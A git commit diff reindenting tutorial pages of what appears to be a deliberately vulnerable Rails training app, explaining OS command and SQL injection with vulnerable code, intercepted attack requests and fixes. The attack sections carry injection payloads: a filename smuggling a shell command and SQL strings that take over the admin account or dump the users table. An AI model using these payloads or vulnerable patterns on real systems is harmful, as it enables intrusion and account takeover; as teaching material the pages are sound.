Convert file indentation to spaces

This commit is contained in:
James Espinosa
2014-07-05 20:17:27 -05:00
parent 68e6a01743
commit 7e4fad462b
88 changed files with 2915 additions and 2999 deletions
@@ -17,8 +17,8 @@
<div class="accordion-body in collapse" id="collapseNine" style="height: auto;">
<div class="accordion-inner">
<p class="desc">
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
</p>
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
</p>
</div>
</div>
</div>
@@ -32,50 +32,50 @@
</div>
<div class="accordion-body collapse" id="collapseTen" style="height: 0px;">
<div class="accordion-inner">
<p class="desc">
This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command.
</p>
<p>
Within app/controllers/benefits_controller.rb:
</p>
<pre class="ruby">
def upload
<span style="background:yellow">file = params[:benefits][:upload]</span>
if file
flash[:success] = "File Successfully Uploaded!"
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
else
flash[:error] = "Something went wrong"
end
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end
</pre>
<p>
Within app/models/benefits.rb:
</p>
<pre class="ruby">
class Benefits &lt; ActiveRecord::Base
attr_accessor :backup
<p class="desc">
This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command.
</p>
<p>
Within app/controllers/benefits_controller.rb:
</p>
<pre class="ruby">
def upload
<span style="background:yellow">file = params[:benefits][:upload]</span>
if file
flash[:success] = "File Successfully Uploaded!"
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
else
flash[:error] = "Something went wrong"
end
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end
</pre>
<p>
Within app/models/benefits.rb:
</p>
<pre class="ruby">
class Benefits &lt; ActiveRecord::Base
attr_accessor :backup
def self.save(file, backup=false)
data_path = Rails.root.join("public", "data")
full_file_name = "#{data_path}/#{file.original_filename}"
f = File.open(full_file_name, "w+")
f.write file.read
f.close
make_backup(file, data_path, full_file_name) if backup == "true"
end
def self.save(file, backup=false)
data_path = Rails.root.join("public", "data")
full_file_name = "#{data_path}/#{file.original_filename}"
f = File.open(full_file_name, "w+")
f.write file.read
f.close
make_backup(file, data_path, full_file_name) if backup == "true"
end
def self.make_backup(file, data_path, full_file_name)
system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{<span style="background:yellow">file.original_filename</span>}")
end
def self.make_backup(file, data_path, full_file_name)
system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{<span style="background:yellow">file.original_filename</span>}")
end
end
end
</pre>
<p class="desc">
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
</p>
</pre>
<p class="desc">
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
</p>
</div>
</div>
</div>
@@ -90,54 +90,54 @@
<div class="accordion-body collapse" id="collapseEleven" style="height: 0px;">
<div class="accordion-inner">
<p><b>Command Injection - ATTACK</b></p>
<p class="desc">
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
</p>
<pre class='ruby'>
POST /upload HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://railsgoat.dev/users/5/benefit_forms
Cookie: _railsgoat_session=[redacted for brevity]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------54316025
Content-Length: 1731
<p class="desc">
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
</p>
<pre class='ruby'>
POST /upload HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://railsgoat.dev/users/5/benefit_forms
Cookie: _railsgoat_session=[redacted for brevity]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------54316025
Content-Length: 1731
----------54316025
Content-Disposition: form-data; name="utf8"
----------54316025
Content-Disposition: form-data; name="utf8"
✓
----------54316025
Content-Disposition: form-data; name="authenticity_token"
✓
----------54316025
Content-Disposition: form-data; name="authenticity_token"
zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
----------54316025
Content-Disposition: form-data; name="benefits[backup]"
zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
----------54316025
Content-Disposition: form-data; name="benefits[backup]"
<span style="background:yellow">true</span>
----------54316025
Content-Disposition: form-data; name="benefits[upload]"; <span style="background:yellow">filename="test.rb;+mkdir+thisisatest "</span>
Content-Type: text/x-ruby-script
</pre>
<p><b>Command Injection - SOLUTION</b></p>
<p class="desc">
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
</p>
<p>
As an example:
</p>
<pre class="ruby">
def self.make_backup(file, data_path, full_file_name)
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
end
</pre>
<span style="background:yellow">true</span>
----------54316025
Content-Disposition: form-data; name="benefits[upload]"; <span style="background:yellow">filename="test.rb;+mkdir+thisisatest "</span>
Content-Type: text/x-ruby-script
</pre>
<p><b>Command Injection - SOLUTION</b></p>
<p class="desc">
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
</p>
<p>
As an example:
</p>
<pre class="ruby">
def self.make_backup(file, data_path, full_file_name)
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
end
</pre>
</div>
</div>
</div>
<div class="accordion-group">
<div class="accordion-group">
<div class="accordion-heading">
<a style="background-color: rgb(181, 121, 158)" href="#collapseTwelve" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
<i class="icon-aid icon-white">
@@ -151,6 +151,6 @@
</div>
</div>
</div>
</div>
</div>
</div>
</div>
@@ -17,8 +17,8 @@
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
<div class="accordion-inner">
<p>
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attackers hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
</p>
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attackers hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
</p>
</div>
</div>
</div>
@@ -32,30 +32,30 @@
</div>
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
<div class="accordion-inner">
<p class="desc">
<p class="desc">
This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
</p>
<p>
Within app/controllers/users_controller.rb
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
</p>
</p>
<p>
Within app/controllers/users_controller.rb
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
</p>
</div>
</div>
</div>
@@ -70,77 +70,77 @@
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
<div class="accordion-inner">
<p><b>SQL Injection - ATTACK</b></p>
<p class="desc">
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
<p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 294
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
</pre>
<p class="desc">
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
</p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 208
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<p class="desc">
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
<p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 294
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
</pre>
<p class="desc">
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
</p>
<pre class="ruby">
POST /users/5.json HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://railsgoat.dev/users/5/account_settings
Content-Length: 208
Cookie: _railsgoat_session=[redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
</pre>
<p><b>SQL Injection - SOLUTION</b></p>
<p class="desc">
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow">user = current_user</span>
utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
</pre>
<p><b>SQL Injection - SOLUTION</b></p>
<p class="desc">
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
</p>
<pre class="ruby">
def update
message = false
<span style="background-color:yellow">user = current_user</span>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
</p>
<pre class="ruby">
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
</pre>
user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password]
user.password = pass if !(pass.blank?)
message = true if user.save!
respond_to do |format|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
format.json { render :json => {:msg => message ? "success" : "false "} }
end
end
</pre>
<p class="desc">
...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
</p>
<pre class="ruby">
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
</pre>
</div>
</div>
</div>
<div class="accordion-group">
<div class="accordion-group">
<div class="accordion-heading">
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
<i class="icon-aid icon-white">
@@ -154,6 +154,6 @@
</div>
</div>
</div>
</div>
</div>
</div>
</div>
@@ -17,14 +17,14 @@
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
<div class="accordion-inner">
<p class="desc">
ActiveRecord provides a useful tool for it's Models called a <i>scope</i>. In the words of the documentation:
</p>
<pre><i>
ActiveRecord provides a useful tool for it's Models called a <i>scope</i>. In the words of the documentation:
</p>
<pre><i>
"Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models."
</i></pre>
<p class="desc">
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
</p>
</i></pre>
<p class="desc">
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
</p>
</div>
</div>
</div>
@@ -38,41 +38,41 @@
</div>
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
<div class="accordion-inner">
<p class="desc">
Within app/models/analytics.rb:
</p>
<pre class="ruby">
class Analytics < ActiveRecord::Base
attr_accessible :ip_address, :referrer, :user_agent
<p class="desc">
Within app/models/analytics.rb:
</p>
<pre class="ruby">
class Analytics < ActiveRecord::Base
attr_accessible :ip_address, :referrer, :user_agent
<span style="background-color:yellow">scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}</span>
<span style="background-color:yellow">scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}</span>
def self.count_by_col(col)
calculate(:count, col)
end
</pre>
<p class="desc">
Additionally, within app/controllers/admin_controller.rb:
</p>
<pre class="ruby">
def analytics
if params[:field].nil?
fields = "*"
else
<span style="background-color:yellow">fields = params[:field].map {|k,v| k }.join(",")</span>
end
def self.count_by_col(col)
calculate(:count, col)
end
</pre>
<p class="desc">
Additionally, within app/controllers/admin_controller.rb:
</p>
<pre class="ruby">
def analytics
if params[:field].nil?
fields = "*"
else
<span style="background-color:yellow">fields = params[:field].map {|k,v| k }.join(",")</span>
end
if params[:ip]
<span style="background-color:yellow">@analytics = Analytics.hits_by_ip(params[:ip], fields)</span>
else
@analytics = Analytics.all
end
render "layouts/admin/_analytics"
end
</pre>
<p class="desc">
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
</p>
if params[:ip]
<span style="background-color:yellow">@analytics = Analytics.hits_by_ip(params[:ip], fields)</span>
else
@analytics = Analytics.all
end
render "layouts/admin/_analytics"
end
</pre>
<p class="desc">
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
</p>
</div>
</div>
</div>
@@ -87,72 +87,72 @@
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
<div class="accordion-inner">
<p><b>SQL Injection - ATTACK</b></p>
<p class="desc">
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
</p>
<pre>
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:[redacted]
Connection: keep-alive
</pre>
<p class="desc">
Essentially we are changing the intended SQL query from:
</p>
<pre>
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre>
<p class="desc">
to:
</p>
<pre>
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre>
<p><b>SQL Injection - SOLUTION</b></p>
<p class="desc">
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
</p>
<pre class="ruby">
def self.parse_field(field)
valid_fields = ["ip_address", "referrer", "user_agent"]
<p class="desc">
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
</p>
<pre>
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:[redacted]
Connection: keep-alive
</pre>
<p class="desc">
Essentially we are changing the intended SQL query from:
</p>
<pre>
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre>
<p class="desc">
to:
</p>
<pre>
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre>
<p><b>SQL Injection - SOLUTION</b></p>
<p class="desc">
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
</p>
<pre class="ruby">
def self.parse_field(field)
valid_fields = ["ip_address", "referrer", "user_agent"]
if valid_fields.include?(field)
field
else
"1"
end
end
</pre>
<p class="desc">
When used properly, this method prevents anything that does not match those items in the <i>valid_fields</i> array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following:
</p>
<pre class="ruby">
def analytics
if params[:field].nil?
fields = "*"
else
fields = params[:field].map {|k,v| <span style="background-color:yellow">Analytics.parse_field(k)</span> }.join(",")
end
if valid_fields.include?(field)
field
else
"1"
end
end
</pre>
<p class="desc">
When used properly, this method prevents anything that does not match those items in the <i>valid_fields</i> array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following:
</p>
<pre class="ruby">
def analytics
if params[:field].nil?
fields = "*"
else
fields = params[:field].map {|k,v| <span style="background-color:yellow">Analytics.parse_field(k)</span> }.join(",")
end
if params[:ip]
@analytics = Analytics.hits_by_ip(params[:ip], fields)
else
@analytics = Analytics.all
end
render "layouts/admin/_analytics"
end
</pre>
<p class="desc">
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
</p>
if params[:ip]
@analytics = Analytics.hits_by_ip(params[:ip], fields)
else
@analytics = Analytics.all
end
render "layouts/admin/_analytics"
end
</pre>
<p class="desc">
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
</p>
</div>
</div>
</div>
<div class="accordion-group">
<div class="accordion-group">
<div class="accordion-heading">
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
<i class="icon-aid icon-white">
@@ -166,6 +166,6 @@
</div>
</div>
</div>
</div>
</div>
</div>
</div>